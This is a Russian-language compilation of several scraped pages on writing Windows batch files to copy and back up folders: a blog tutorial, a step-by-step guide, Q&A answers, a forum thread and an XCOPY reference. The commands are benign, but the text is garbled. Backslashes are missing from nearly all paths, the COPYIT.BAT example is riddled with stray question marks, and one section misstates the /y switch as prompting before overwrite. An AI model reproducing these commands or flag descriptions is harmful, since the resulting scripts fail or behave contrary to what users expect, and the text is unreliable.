Как написать bat файл для копирования файлов

Сегодня мы узнаем про то, что такое bat файл и заодно создадим один из них.

Думаю, что многие, так или иначе, периодически создают резервные копии (так называемые backup-ы) тех или иных файлов и папок.

Вроде все привычно и делать ничего особо сложного не надо: вставить флешку, открыть «Мой компьютер«, найти что надо скопировать, выделить, тыкнуть мышкой, выбрать «скопировать», перебраться в нужный каталог, тыкнуть «вставить» и тд.

bat файл и его создание - иконка статьи

Но зачастую все эти клики и лишние телодвижения несколько утомляют и отнимают ценное время, особенно при частых копированиях одних и тех же данных. В этой статье я расскажу как автоматизировать этот процесс посредством консоли, а точнее написания такой штуки как bat файл.

Поехали.

  • Bat файл — что к чему, вводная

  • Как создать bat файл и использовать его

  • Добавляем в файл команду, например, для копирования

  • Меняем формат файла и пробуем его запустить

  • Послесловие

Bat файл — что к чему, вводная

Для начала немного о том, что такое bat файл, зачем он нужен и с чем его (или их) едят. Дабы не изобретать велосипед воспользуюсь выдержкой из Википедии:

Пакетный файл (т.е bat файл, от англ. batch file) — текстовый файл в MS-DOS, OS/2 или Windows, содержащий последовательность команд, предназначенных для исполнения командным интерпретатором.

После запуска пакетного файла, программа — интерпретатор (как правило COMMAND.COM или CMD.EXE) читает его строка за строкой и последовательно исполняет команды.

Пакетный файл — аналог shell script в Unix-подобных операционных системах.

Пакетные файлы полезны для автоматического запуска приложений. Основная область применения — автоматизация наиболее рутинных операций, что регулярно приходится совершать пользователю компьютера.

Примерами таких операций могут служить — обработка текстовых файлов; копирование, перемещение, переименование, удаление файлов; работа с папками; архивация; создание резервных копий баз данных и т. п.

Пакетные файлы поддерживают операторы if и goto (а в системах семейства Windows NT и расширенный оператор for), что позволяет обрабатывать результаты выполнения предыдущих команд или приложений и в зависимости от этого выполнять дальше тот или иной блок команд (как правило, в случае удачного завершения приложение возвращает 0 в переменной errorlevel; в случае неудачного — 1 или большее значение).

Пакетные файлы в DOS имеют расширение .bat; для других операционных систем они могут иметь другие расширения — например, .CMD в Windows NT и OS/2, или .BTM в 4DOS или подобных оболочках.

С теорией разобрались, приступим к, собственно, практике, а именно созданию bat-ника.

к содержанию ↑

Как создать bat файл и использовать его

Давайте подготовим небольшое тестовое поле, чтобы было на базе чего экспериментировать. Откройте мой компьютер и создайте на диске C: папочку test. Зайдите в неё и создайте в ней папку testcopy.

Накидайте туда файлов (штук 5-10) — фотки, документы и тд и тп (любых короче). Поле для экспериментов готово. Далее нам надо создать, собственно, сам bat файл по нажатию на который у нас будет происходить копирование папки C:testtestcopy в, скажем, папку C:testbackup. Создавать вторую папку (которая backup) не надо — она будет появляться автоматически.

Создать bat очень просто. Жмем правой кнопкой мышки там где хотим его создать (расположение не важно — можно прямо на рабочем столе) и выбираем «Создать» — «Текстовый документ«.

Задаем созданному файлу название и открываем его блокнотом или любым другим текстовым редактором. Т.е. на данный момент мы имеем открытый текстовый файлик, который называется, допустим, копирование.txt.

к содержанию ↑

Добавляем в файл команду, например, для копирования

Далее, собственно, нам в этот файлик нужно ввести команду, которая будет воспроизводиться по средством консоли (cmd) при запуске этого файла. В данном случае мы воспользуемся командой xcopy ибо именно она позволяет копировать файлы, каталоги и подкаталоги. Учитывая все пути у нас получится следующая команда:

xcopy C:testtestcopy C:testbackup /f /i /y /s

Разъясняю что тут к чему:

  • xcopy — это сама команда;
  • C:testtestcopy — это источник, т.е. папка откуда копируются файлы и каталоги;
  • C:testbackup — это результат, т.е. место, куда будут скопированы файлы и каталоги;
  • /f /i /y /s — дополнительные параметры синтаксиса для команды xcopy (см.синтаксис ниже по тексту).

Количество строчек может быть любым, т.е. если Вам надо скопировать 100 папок, Вы пишете 100 строчек в одном файле и меняете в них только пути.

Далее, касательно синтаксиса (какие дополнительные параметры есть, какие можно дописать и зачем они нужны).

Какие есть (т.е. те, что я указал в данном примере):

  • /f — выводит имена исходных файлов и файлов-результатов в процессе копирования
  • /i — создает новый каталог в случае, если тот отсутствует в конечном пути
  • /y — перезаписывает файл в случае, если он уже есть
  • /s — копирует каталоги и подкаталоги, если они не пусты. Если параметр /s не задан, команда xcopy будет работать только с одним каталогом.

Как по мне — это основной список параметров необходимых для «тихого» копирования, т.е. без лишних вопросов о перезаписи, создания каталогов и прочей шушеры. Касательно остального синтаксиса можно почитать, например, тут.

Далее нам надо сменить формат файла с txt на bat. Делается это следующим образом.

к содержанию ↑

Меняем формат файла и пробуем его запустить

Сначала открываем «Мой компьютер«, там переходим «Сервис» — «Свойства папки» — «Вид» и снимаем галочку «Скрывать расширение для зарегистрированных типов файлов«.

Жмем «Применить» и «Ок«. Теперь мы можем менять расширение известных системе файлов, а посему направляемся к нашему файлику, жмем правой кнопкой мышки, выбираем «Переименовать» и методом печатания на клавиатуре меняем расширение с txt на bat (на вопрос системы стоит ли это делать отвечаем утвердительно).

В результате мы имеем следующую картину (в вашем случае файлик называется иначе, но имеет тот же формат):

bat файл в папке

Собственно, все, что нам остается — это запустить этот файл простым кликом по нему мышки.

Если Вы все сделали правильно, то перед Вами промелькнет консоль и по известному пути появится новая папочка с заданным заранее названием и файлами внутри скопированными из известной Вам папки, т.е картина получится примерно следующая:

запуск bat файла для резервного копирования

Ну или несколько другая, в зависимости от того какие пути и названия папок Вы прописывали в команде.
Отредактировать файлик можно сменив ему расширение обратно на .txt и открыв любым текстовым редактором.

к содержанию ↑

Послесловие

Как я уже сказал и Вы сами наверное осознали — использование подобного bat файл ‘а зачастую экономит кучу времени, т.е. один раз написал и периодически запускаешь одним кликом и вместо многоминутных тычков мышкой и ползания по всем папкам получаешь автоматизированный процесс копирования.

При желании можно поставить запуск этого bat-ника в определенные дни через планировщик Windows (или другие программы позволяющие это делать) и вообще забыть о проблеме долгих ручных backup‘ов.

Если есть какие-то вопросы или проблемы — спрашивайте. Как всегда помогу чем смогу ;)

PS: Если мне не изменяет память, то это кусочек темы из умных админских книжек, а именно из раздела «Автоматизация администрирования«.. так что можете собой гордится :)


Загрузить PDF


Загрузить PDF

Из данной статьи вы узнаете, как написать и сохранить простейший пакетный файл (батник) на компьютере под управлением Windows. Пакетный файл содержит ряд команд DOS (операционная система) и обычно используется для автоматизации часто выполняемых задач, таких как перемещение файлов. Чтобы создать батник, сложное программное обеспечение не нужно — вам понадобится только текстовый редактор Блокнот.

  1. Изображение с названием 4288 1 2

    1

    Откройте Блокнот. В Блокноте можно написать программу в виде текстового файла, а затем сохранить его как пакетный файл. Чтобы открыть Блокнот, откройте меню «Пуск»

    Изображение с названием Windows Start

    , введите блокнот и нажмите на синий значок «Блокнот» в верхней части меню.

    Реклама

  • Блокнот используется для преобразования текстовых файлов в пакетные, но код пакетного файла можно написать в любом текстовом редакторе.
  • Запомните некоторые основные команды. Пакетный файл запускает команды DOS, поэтому используемые команды аналогичны командам DOS. Вот некоторые из наиболее важных команд:

    Изображение с названием 4288 2 2

    • ECHO: выводит текст на экран;
    • @ECHO OFF: скрывает отображаемый текст;
    • START: запускает файл с приложением;
    • REM: добавляет строку с комментариями;
    • MKDIR/RMDIR: создает и удаляет каталоги;
    • DEL: удаляет файлы;
    • COPY: копирует файлы;
    • XCOPY: копирует файлы с дополнительными параметрами;
    • FOR/IN/DO: определяет файлы;
    • TITLE: редактирует заголовок окна.
      [1]
  • Напишите программу для создания каталога. Самый быстрый способ научиться создавать пакетные файлы — это начать с простейших задач. Например, используйте пакетный файл, чтобы быстро создать несколько каталогов:

    Изображение с названием 4288 3 2

    [2]

    MKDIR c:каталог1
    MKDIR c:каталог2
    
  • Напишите программу для создания резервной копии. Пакетные файлы отлично подходят для запуска сразу нескольких команд, особенно если эти команды нужно запустить множество раз. С помощью команды XCOPY можно создать пакетный файл, который скопирует файлы из указанных папок в резервную папку, причем будут перезаписаны только те файлы, которые были изменены с момента последнего копирования:

    Изображение с названием 4288 4 2

    @ECHO OFF 
    XCOPY c:original c:backupfolder /m /e /y
    
    • Эта программа скопирует файлы из папки «original» в папку «backupfolder». Эти папки можно заменить другими (с соответствующими путями к папкам). /m указывает, что будут скопированы только измененные файлы; /e указывает, что будут скопированы все подпапки (которые есть в указанной папке); /y выводит на экран запрос на перезапись файла.
  • Напишите более сложную программу для создания резервной копии. Простое копирование файлов из одной папки в другую облегчает работу с компьютером, но что если отсортировать файлы во время их копирования? Для этого понадобится команда FOR/IN/DO. Воспользуйтесь этой командой, чтобы указать, в какую папку должен скопироваться файл в зависимости от его расширения:

    Изображение с названием 4288 5 2

    @ECHO OFF 
    cd c:source
    REM Это исходная папка с файлами
    FOR %%f IN (*.doc *.txt) DO XCOPY c:source"%%f" c:text /m /y
    REM Все файлы с расширением .doc или .txt
    REM будут скопированы из c:source в c:text
    REM %%f это переменная
    FOR %%f IN (*.jpg *.png *.bmp) DO XCOPY C:source"%%f" c:images /m /y
    REM Все файлы с расширением .jpg, .png, .bmp 
    REM будут скопированы из c:source в c:images
    
  • Поэкспериментируйте с различными командами. В интернете можно найти множество примеров программ для пакетных файлов.

    Изображение с названием 4288 6 2

    1. Изображение с названием 4288 7 2

      1

      Закончите вводить программу пакетного файла. Когда вы завершите вводить и редактировать программу пакетного файла, сохраните его в качестве исполняемого файла.

    2. Изображение с названием 4288 8 2

      2

      Щелкните по Файл. Эта опция находится в верхнем левом углу окна Блокнота. Откроется выпадающее меню.

    3. Изображение с названием 4288 9 2

      3

      Нажмите Сохранить как. Эта опция находится в выпадающем меню «Файл». Откроется окно «Сохранить как».

    4. Изображение с названием 4288 10 2

      4

      Введите имя и расширение .bat. В строке «Имя файла» введите имя, а затем введите .bat.

      • Например, если пакетный файл для резервного копирования будет называться «backup», введите backup.bat.
    5. Изображение с названием 4288 11 2

      5

      Откройте выпадающее меню «Тип файла». Вы найдете его в нижней части окна «Сохранить как».

    6. Изображение с названием 4288 12 2

      6

      Щелкните по Все файлы. Эта опция находится в выпадающем меню. Так вы сможете сохранить файл с указанным расширением (в данном случае с расширением .bat).

    7. Изображение с названием 4288 13 2

      7

      Укажите папку, в которой будет храниться пакетный файл. Для этого щелкните по нужной папке (например, по «Рабочий стол») в левой части окна.

    8. Изображение с названием 4288 14 2

      8

      Нажмите Сохранить. Эта кнопка находится в нижнем правом углу окна «Сохранить как». Окно закроется.

    9. Изображение с названием 4288 15 2

      9

      Закройте Блокнот. Файл будет сохранен как пакетный файл в указанной папке.

    10. Изображение с названием 4288 16 2

      10

      Измените программу пакетного файла. Для этого щелкните по нему правой кнопкой мыши и в меню выберите «Изменить». Пакетный файл откроется в Блокноте; внесите необходимые изменения, а затем сохранить файл, нажав Ctrl+S.

      • Изменения вступят в силу, как только вы запустите пакетный файл.

      Реклама

    Советы

    • Если имя файла или каталога содержит пробелы, заключите такое имя в кавычки (например, start "C:Documents and Settings").
    • Чтобы отредактировать пакетный файл, можно использовать сторонние редакторы, такие как Notepad++, но по большому счету это пустая затея, если вы собираетесь создавать простейшие пакетные файлы.
    • Чтобы запустить некоторые команды (например, ipconfig), потребуются административные привилегии. В этом случае щелкните правой кнопкой мыши по файлу и в меню выберите «Запуск от имени администратора» (если вы вошли в систему в качестве администратора).

    Реклама

    Предупреждения

    • В зависимости от используемых команд пакетные файлы могут быть опасными. Убедитесь, что команды пакетного файла не приведут к нежелательным последствиям (например, к удалению файлов или сбою компьютера).

    Реклама

    Об этой статье

    Эту страницу просматривали 136 499 раз.

    Была ли эта статья полезной?

    I have a storage folder on a network in which all users will store their active data on a server. Now that server is going to be replaced by a new one due to place problem so I need to copy sub folders files from the old server storage folder to new server storage folder. I have below ex:

    from Oldeserverstoragedata & files to New serverstoragedata & files.

    djvg's user avatar

    djvg

    10.6k4 gold badges65 silver badges97 bronze badges

    asked Jun 12, 2009 at 12:45

    user73628's user avatar

    4

    xcopy.exe is definitely your friend here.
    It’s built into Windows, so its cost is nothing.

    Just xcopy /s c:source d:target

    You’d probably want to tweak a few things; some of the options we also add include these:

    • /s/e — recursive copy, including copying empty directories.
    • /v — add this to verify the copy against the original. slower, but for the paranoid.
    • /h — copy system and hidden files.
    • /k — copy read-only attributes along with files. otherwise, all files become read-write.
    • /x — if you care about permissions, you might want /o or /x.
    • /y — don’t prompt before overwriting existing files.
    • /z — if you think the copy might fail and you want to restart it, use this. It places a marker on each file as it copies, so you can rerun the xcopy command to pick up from where it left off.

    If you think the xcopy might fail partway through (like when you are copying over a flaky network connection), or that you have to stop it and want to continue it later, you can use xcopy /s/z c:source d:target.

    user's user avatar

    user

    7,0736 gold badges21 silver badges48 bronze badges

    answered Jun 12, 2009 at 12:57

    lavinio's user avatar

    laviniolavinio

    23.7k5 gold badges55 silver badges71 bronze badges

    9

    My favorite one to backup data is:

    ROBOCOPY "C:folder" "C:new_folder" /mir
    

    /mir is for mirror. You can also use /mov to move files. It reproduce the exact same folder. It can delete/overwrite files as needed. Works great for me. It’s way faster than xcopy / copy. It’s built in Windows as well.

    Source: http://technet.microsoft.com/en-us/library/cc733145.aspx

    answered Aug 19, 2013 at 19:27

    Etienne Dupuis's user avatar

    Etienne DupuisEtienne Dupuis

    13.3k6 gold badges46 silver badges57 bronze badges

    3

    Just to be clear, when you use xcopy /s c:source d:target, put «» around the c:source and d:target,otherwise you get error.

    ie if there are spaces in the path ie if you have:

    "C:Some Folder*.txt"
    

    but not required if you have:

    C:SomeFolder*.txt
    

    Morgan's user avatar

    Morgan

    19.7k6 gold badges57 silver badges84 bronze badges

    answered Mar 27, 2013 at 14:30

    Ike's user avatar

    IkeIke

    1,17412 silver badges18 bronze badges

    1

    You may want to take a look at XCopy or RoboCopy which are pretty comprehensive solutions for nearly all file copy operations on Windows.

    djvg's user avatar

    djvg

    10.6k4 gold badges65 silver badges97 bronze badges

    answered Jun 12, 2009 at 12:48

    Joey's user avatar

    JoeyJoey

    340k85 gold badges682 silver badges680 bronze badges

    4

    To bypass the ‘specify a file name or directory name on the target (F = file, D = directory)?’ prompt with xcopy, you can do the following…

    echo f | xcopy /f /y srcfile destfile

    or for those of us just copying large substructures/folders:

    use /i which specifies destination must be a directory if copying more than one file

    Community's user avatar

    answered Apr 9, 2014 at 11:32

    wintondeshong's user avatar

    2

    @echo off
    
    rem The * at the end of the destination file is to avoid File/Directory Internal Question.
    
    rem You can do this for each especific file. (Make sure you already have permissions to the path)
    xcopy /Y "\OldeserverstoragedataMyFile01.txt" "\New serverstoragedataMyFile01.txt"*
    pause
    
    rem You can use "copy" instead of "xcopy "for this example.
    

    answered Nov 21, 2018 at 22:32

    David Castro's user avatar

    David CastroDavid Castro

    1,67321 silver badges19 bronze badges

    Look at rsync based Windows tool NASBackup. It will be a bonus if you are acquainted with rsync commands.

    Joey's user avatar

    Joey

    340k85 gold badges682 silver badges680 bronze badges

    answered Jun 12, 2009 at 12:53

    nik's user avatar

    niknik

    13.1k3 gold badges41 silver badges57 bronze badges

    You can use esentutl to copy (mainly big) files with a progress bar:

    esentutl /y "my.file" /d "another.file" /o
    

    the progress bar looks like this:

    enter image description here

    answered Nov 9, 2020 at 13:53

    npocmaka's user avatar

    npocmakanpocmaka

    54.7k18 gold badges148 silver badges184 bronze badges

    If Bash is available to you, you can simple use the following command with recursive option.

    cp -r "C:UserssourceFolder." "C:UsersdestinationFolder"
    

    Which will copy all files and folders contained under sourceFolder insde destincationFolder

    answered Jul 29, 2021 at 12:23

    Panagiotis Bougioukos's user avatar

    For Windows Users

    Create copyfile.bat

    #!AutoCopy
    xcopy /s C:folderfrom  C:folderto
    

    open cmd
    type copyfile.bat press enter

    answered Jan 12 at 4:57

    GMKHussain's user avatar

    GMKHussainGMKHussain

    2,6911 gold badge17 silver badges13 bronze badges

    Первое: скопировать папку со всеми файлами и папками «C:Data» в папку «C:papka1»

    Второе: есть список файлов и папок с путями которые расположены в «C:DATA»:

    spoiler

    C:Data3dMaps28_rock_rcSpeedTreepalmsimagespalm_trunk.dx11.dds.dvpl
    C:Data3dMaps28_rock_rcstonesimageskarelia_tiletex_blue.dx11.dds.dvpl
    C:Data3dMaps28_rock_rcstonesimageskarelia_tiletex_blue.tex.dvpl
    C:Data3dMaps29_skit_skwork
    C:Data3dMaps29_skit_skworkimages
    C:Data3dMaps29_skit_skworkimagesyamato_01.dx11.dds.dvpl
    C:Data3dMaps29_skit_skworkimagesyamato_01.tex.dvpl
    C:Data3dMaps29_skit_skworkimagesyamato_02.dx11.dds.dvpl
    C:Data3dMaps29_skit_skworkimagesyamato_02.tex.dvpl
    C:Data3dMaps34_forgecity_fcbuildingsimagesbld_metlife.dx11.dds.dvpl
    C:Data3dMaps34_forgecity_fcbuildingsimagesbld_tower_plant.dx11.dds.dvpl
    C:Data3dMaps34_forgecity_fcbuildingsimagesbuild_1.dx11.dds.html
    C:Data3dMaps34_forgecity_fcbuildingsimagesbuild_2.dx11.dds.txt
    C:Data3dMaps34_forgecity_fcbuildingsimagesbuild_3.dx11.dds.gif
    C:Data3dMaps34_forgecity_fcbuildingsimagesbuild_4.dx11.dds.dvpl
    C:Data3dMaps34_forgecity_fcbuildingsimageschrysler_building.dx11.dds.dvpl
    C:Data3dMaps34_forgecity_fclandscapegrassforgecity_GrassMap.dx11.dds.dvpl
    C:Data3dMapshangar_prem_2018_birthday_6
    C:Data3dMapshangar_prem_2018_birthday_6birthday_5

    Эти файлы вмесите с папками (тоисть не терять структур папок (пусть они и указаны в списке)), их нужно скопировать по пути «C:papka2»
    Этот список можно использовать, как и в сам батник, или как отсылку на .txt файл.
    + В списке около 5000 строк файлов и папок и по этому, желательно получить в командной строке что например (19 из 19 строчек скопировано), если не все строчки, показать какие.

    P.S. Раньше проводил копирование файлов батником который находит новые файлы не старше 24 часов, и оставлял новые файлы в папке «orig»:

    spoiler

    @echo off
    set src=C:orig
    set dst=C:bk
    robocopy «%src%» «%dst%» /minage:1 /copyall /move /e
    pause

    Но не всегда все файлы копировались.
    Сейчас же появились пути к файлам и я хочу копировать по каждому файлу, для лучшего отслеживания файлов.

    masterjek

    0 / 0 / 0

    Регистрация: 23.04.2017

    Сообщений: 3

    1

    Копирование файлов

    23.04.2017, 18:31. Показов 41292. Ответов 4

    Метки нет (Все метки)


    Здравствуйте! Помогите пожалуйста есть на рабочем столе папка в ней текстовый файл к примеру с именем 12 нужно этот файл при помощи bat одновременно скопировать в папки 1, 2 и 3 расположенные допустим на диске Локальном Диске B
    Я составил такой bat.

    Windows Batch file
    1
    2
    3
    
    copy "C:UsersЖекаDesktopНовая папка12.txt" "B:1"
    copy "C:UsersЖекаDesktopНовая папка12.txt" "B:2"
    copy "C:UsersЖекаDesktopНовая папка12.txt" "B:3"

    При запуске данного файла копирование не происходит. Подскажите что я делаю не так

    __________________
    Помощь в написании контрольных, курсовых и дипломных работ, диссертаций здесь



    0



    Programming

    Эксперт

    94731 / 64177 / 26122

    Регистрация: 12.04.2006

    Сообщений: 116,782

    23.04.2017, 18:31

    4

    Joey

    Джоуи

    1073 / 635 / 240

    Регистрация: 05.05.2015

    Сообщений: 3,546

    Записей в блоге: 2

    23.04.2017, 18:47

    2

    Лучший ответ Сообщение было отмечено masterjek как решение

    Решение

    masterjek, дело в том, что

    Кликните здесь для просмотра всего текста

    Консоль работает в кодировке DOS (codepage 866).
    Блокнот Windows создает пакетный файл в кодировке WIN (codepage 1251).
    Подробнее: Русский текст в консоли

    Решение: просто в начале своего батника напишите

    Windows Batch file
    1
    
    chcp 1251



    1



    Почетный модератор

    Эксперт по компьютерным сетямЭксперт Windows

    28038 / 15769 / 981

    Регистрация: 15.09.2009

    Сообщений: 67,752

    Записей в блоге: 78

    23.04.2017, 18:50

    3

    еще как вариант файл назван «copy.bat»



    0



    Джоуи

    1073 / 635 / 240

    Регистрация: 05.05.2015

    Сообщений: 3,546

    Записей в блоге: 2

    23.04.2017, 18:51

    4

    magirus, проверил, назвав файл copy.bat — вроде все равно сработало. Но, конечно, лучше так файл не называть



    0



    0 / 0 / 0

    Регистрация: 23.04.2017

    Сообщений: 3

    23.04.2017, 18:56

     [ТС]

    5

    Большое спасибо) Всё работает)



    0



    • 29.01.2020
    • 45 543
    • 5
    • 02.11.2020
    • 26
    • 24
    • 2

    XCOPY - описание команды и примеры использования

    • Содержание статьи
      • Описание
      • Синтаксис
      • Параметры
      • Примечания
      • Примеры использования
      • Справочная информация
      • Комментарии к статье ( 5 шт )
      • Добавить комментарий

    Описание

    XCOPY — Копирует файлы и каталоги, включая подкаталоги.

    Синтаксис

    xcopy источник [результат] [/w] [/p] [/c] [/v] [/q] [/f] [/l] [/g] [/d[:мм-дд-гггг]] [/u] [/i] [/s [/e]] [/t] [/k] [/r] [/h] [{/a|/m}] [/n] [/o] [/x] [/exclude:файл1[+[файл2]][+[файл3]] [{/y|/-y}] [/z]

    Параметры

    Параметр Описание
    источник Обязательный параметр. Задает местонахождение и имена файлов для копирования. Параметр должен задавать или диск, или путь.
    результат Задает место, куда будут скопированы файлы. Параметр может включать имя диска с двоеточием, имя каталога, имя файла или их комбинацию.
    /w Выводит следующее сообщение с ожиданием подтверждения начала копирования: Нажмите любую клавишу, чтобы начать копирование файлов
    /p Запрашивает подтверждение при создании каждого файла-результата.
    /c Игнорирует ошибки.
    /v Проверяет каждый скопированный файл на соответствие его оригиналу.
    /q Отменяет вывод на экран сообщений команды xcopy.
    /f Выводит имена исходных файлов и файлов-результатов в процессе копирования.
    /l Отображает список копируемых файлов.
    /g Создает незашифрованные файлы-результаты.
    /d[:мм-дд-гггг] Копирует только файлы, измененные не ранее заданной даты. Если не включить значение мм-дд-гггг, команда xcopy копирует все файлы-источники, которые новее существующих файлов-результатов. Эта возможность позволяет обновлять только измененные файлы.
    /u Копирует (обновляет) только те файлы-источники, которые уже существуют в каталоге результата.
    /i Если источником является каталог или источник содержит подстановочные знаки и результат не существует, команда xcopy считает, что результат — это имя каталога, и создает новый каталог. Затем xcopy копирует все указанные файлы в новый каталог. По умолчанию команда xcopy запрашивает подтверждение, является ли параметр результат каталогом или файлом.
    /s Копирует каталоги и подкаталоги, если они не пусты. Если параметр /s не задан, команда xcopy будет работать только с одним каталогом.
    /e Копирует все подкаталоги, включая пустые. Параметр /e используется с параметрами /s и /t. /t Копирует только структуру подкаталога (т. е. дерево), а не файлы. Для копирования пустых каталогов следует задать ключ /e.
    /k Копирует файлы с атрибутом «только для чтения» с сохранением этого атрибута для скопированных файлов, оригиналы которых имеют этот атрибут. По умолчанию команда xcopy удаляет атрибут «только для чтения».
    /r Копирует файлы с атрибутом «только для чтения».
    /h Копирует системные и скрытые файлы. По умолчанию команда xcopy не копирует системные и скрытые файлы.
    /a Копирует только те файлы, которые имеют установленный атрибут «архивный». При использовании параметра /a атрибут «архивный» у исходных файлов не меняется.
    /m Копирует только те файлы, которые имеют установленный атрибут «архивный». В отличие от параметра /a, параметр /m очищает атрибут «архивный» у скопированных файлов.
    /n Копирует с использованием коротких имен файловой системы NTFS. Параметр /n требуется при копировании из файловой системы NTFS в файловую систему FAT или когда на диске-результате требуется использование соглашения об именах файлов как в файловой системе FAT (8.3). Файлы могут записываться в файловую систему FAT или NTFS.
    /o Копирует сведения о принадлежности файлов и избирательной таблице управления доступом (DACL).
    /x Копирует сведения о параметрах аудита файла и системной таблице управления доступом (SACL) (подразумевается наличие /p). /exclude:файл1[+[файл2]][+[файл3]] Определяет список файлов, содержащих строки.
    /y Устраняет выдачу запроса на подтверждение перезаписи существующего конечного файла.
    /-y Выдает запрос на подтверждение перезаписи существующего конечного файла.
    /z Копирует по сети в режиме перезапуска.
    /? Отображает справку в командной строке.

    Примечания

      • Использование параметра /exclude
        Построчный вывод всех строк в каждом файле. При соответствии выведенной строки части пути копируемого файла, он исключается из процесса копирования. Например, если указана строка «Obj», исключается все файлы, расположенные в каталоге «Obj». Например, если указана строка «.obj», исключается все файлы с расширением .obj.
      • Использование параметра /z
        Если во время фазы копирования теряется сетевое подключение (например, если сервер переходит автономный режим, разрывая подключение), копирование возобновляется после восстановления подключения. Использование параметра /z команды вызывает также отображение доли (в процентах) завершенной операции копирования для каждого файла.
      • Использование параметра /y в переменной среде COPYCMD. Можно применять параметр /y в переменной среде COPYCMD. Эта настройка может быть переопределена использованием параметра /-y в командной строке. По умолчанию если команда copy выполняется не в пакетной программе, при замене требуется подтверждение.
      • Копирование зашифрованных файлов
        При копировании файлов на том, не поддерживающий шифрованную файловую систему (EFS), возникнет ошибка. Следует предварительно расшифровать файлы или копировать их на том, поддерживающий EFS.
      • Добавление файлов
        Чтобы объединить файлы, укажите один файл-результат, но несколько файлов-источников (с помощью подстановочных знаков или формата файл1+файл2+файл3).
      • Значение по умолчанию для результата
        Если параметр результат не задан, xcopy будет копировать файлы в текущий каталог.
      • Указание в качестве результата файла или каталога
        Если параметр результат не содержит существующий каталок или не заканчивается обратной чертой(), выводится следующее сообщение:Что означает destination:
        имя файла или каталога
        (F = файл, D = каталог)?Нажмите F, если файл или файлы должны копироваться в файл. Нажмите D, если файл или файлы должны копироваться в каталог.Чтобы устранить вывод этого сообщения, используйте параметр /i. В результате чего, команда xcopy предполагает, что результат является каталогом, если источник престаляет собой несколько файлов или каталогов.
      • Использование команды xcopy для установки атрибута «архивный» для файлов результата
        Команда xcopy создает файлы с установленным атрибутом «архивный», независимо от состояния этого атрибута у исходных файлов.
      • Сравнение команд xcopy и diskcopy
        Команда xcopy должна быть использована вместо diskcopy при копировании файлов и подкаталогов на диск другого формата. Так как команда diskcopy копирует диски по дорожкам, требуется, чтобы исходный диск и диск-результат имели одинаковый формат. Для команды xcopy это требование не нужно. Обычно следует использовать команду xcopy, если только не требуется получить два диска с одинаковыми образами.
      • Коды завершения программы xcopy

    Для анализа кодов завершения, выведенных командой xcopy, используйте параметр уровень_ошибки в командной строке if пакетных программ.

    В следующей таблице перечислены коды завершения с кратким описанием.

    Код завершения Описание
    0 Файлы скопированы без ошибок
    1 Файлы для копирования не найдены
    2 Нажата комбинация CTRL+C для остановки команды xcopy
    4 Возникла ошибка инициализации. Недостаточно места в памяти или на диске, введено неверное имя диска или неверный синтаксис вызова команды
    5 Диск защищен от записи

    Примеры использования

    Чтобы копировать все файлы и подкаталоги (включая пустые подкаталоги) с диска A на диск B, введите:

    xcopy a: b: /s /e

    Чтобы включить в операцию копирования предыдущего примера системные и скрытые файлы следует использовать параметр /h:

    xcopy a: b: /s /e /h

    Чтобы обновить файлы в каталоге Reports файлами из каталога Rawdata, измененными после 29 декабря 1993 года, введите:

    xcopy rawdata reports /d:29-12-1993

    Чтобы обновить файлы предыдущего примера, уже существующие в каталоге Reports, независимо от их даты, введите следующую команду:

    xcopy rawdata reports /u

    Чтобы получить списк файлов, которые были бы скопированы в предыдущем примере, следует ввести команду:

    xcopy rawdata reports /d:29-12-1993 /l > xcopy.out

    Список файлов, которые были бы скопированы, находится в файле Xcopy.out.

    Чтобы скопировать каталог Customer и все подкаталоги \PublicAddress на сетевой диск H, сохранить у файлов атрибут «только для чтения», введите команду:

    xcopy customer h:publicaddress /s /e /k /p

    Чтобы выдать предыдущую команду, убедиться, что команда xcopy создает каталог Address и устранить вывод сообщение о создании нового каталога, добавьте параметр /i следующим образом:

    xcopy customer h:publicaddress /s /e /k /p /i

    Для запуска программы xcopy и анализа кодов завершения можно создать пакетный файл и использовать оператор if для обработки кодов завершения в случае возникновения ошибок. Например, следующая пакетная программа использует замещаемые параметры для задания источникаxcopy и результата:

    @echo off
    rem COPYIT.BAT копирует все файлы во всех подкаталогах
    rem исходного диска или каталога (%1) на другой диск
    
    rem или в другой каталог (%2)
    
    ?? xcopy %1 %2 /s /e
    
    ??if errorlevel 4 goto lowmemory
    ?if errorlevel 2 goto abort
    ?if errorlevel 0 goto exit
    
    ??:lowmemory ?
    echo Недостаточно памяти для копирования файлов,
    задан недопустимый ?echo диск или ошибка в синтаксисе командной строки.
    ?goto exit
    ??
    :abort ?
    echo Нажата комбинация CTRL+C для остановки копирования.
    ?goto exit ?
    ?
    :exit

    Эта пакетная программа может быть использована для копирования всех файлов каталога C:Prgmcode и его подкаталогов на диск B следующим образом:

    copyit c:prgmcode b:

    Командный интерпретатор подставляет C:Prgmcode вместо параметра %1 и B вместо параметра %2, затем использует команду xcopy с параметрами /e и /s. Если при выполнении xcopy произошла ошибка, пакетная программа считывает код завершения и переходит на метку, указанную в соответствующей инструкции IF ERRORLEVEL. В результате на экран выводится сообщение о характере ошибки и осуществляется выход из пакетной программы.

    Справочная информация


    Содержание статьи:

    Вместо вступления. Что такое «батник»

    Пакетные файлы (batch file) — это текстовые файлы в системе Windows, MS-DOS и OS/2, содержащие в себе команды, подготовленные для последовательного исполнения интерпритатором ОС

    На первый взгляд может показаться, что данные возможности системы абсолютно бесполезны для рядового пользователя, однако это не совсем так. При помощи пакетных файлов можно существенно упростить рутинную работу с ПК, сделать её удобнее, воспользоваться некоторыми скрытыми возможностями.
    Новатором и пионером в данной области я, само собой, не являюсь, просто постараюсь изложить здесь базовое представление об этом типе файлов, рассмотреть некоторые примеры и остановиться на парочке деталей и тонкостей, касающихся так называемых батников.

    Для удобства написания и, естественно, восприятия разобью статью по разделам. Но сначала:

    ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Некоторые манипуляции с пакетными файлами могут нанести вред системе (порой даже непоправимый), поэтому предупреждаю сразу, ни автор статьи, ни администрация сайта не несут абсолютно никакой ответственности за последствия, которые может повлечь за собой выполнение действий, представленных в этой статье. Все материалы представлены здесь исключительно с образовательной целью, и для ознакомления. Надеюсь на ваше понимание и прямоту ваших рук….

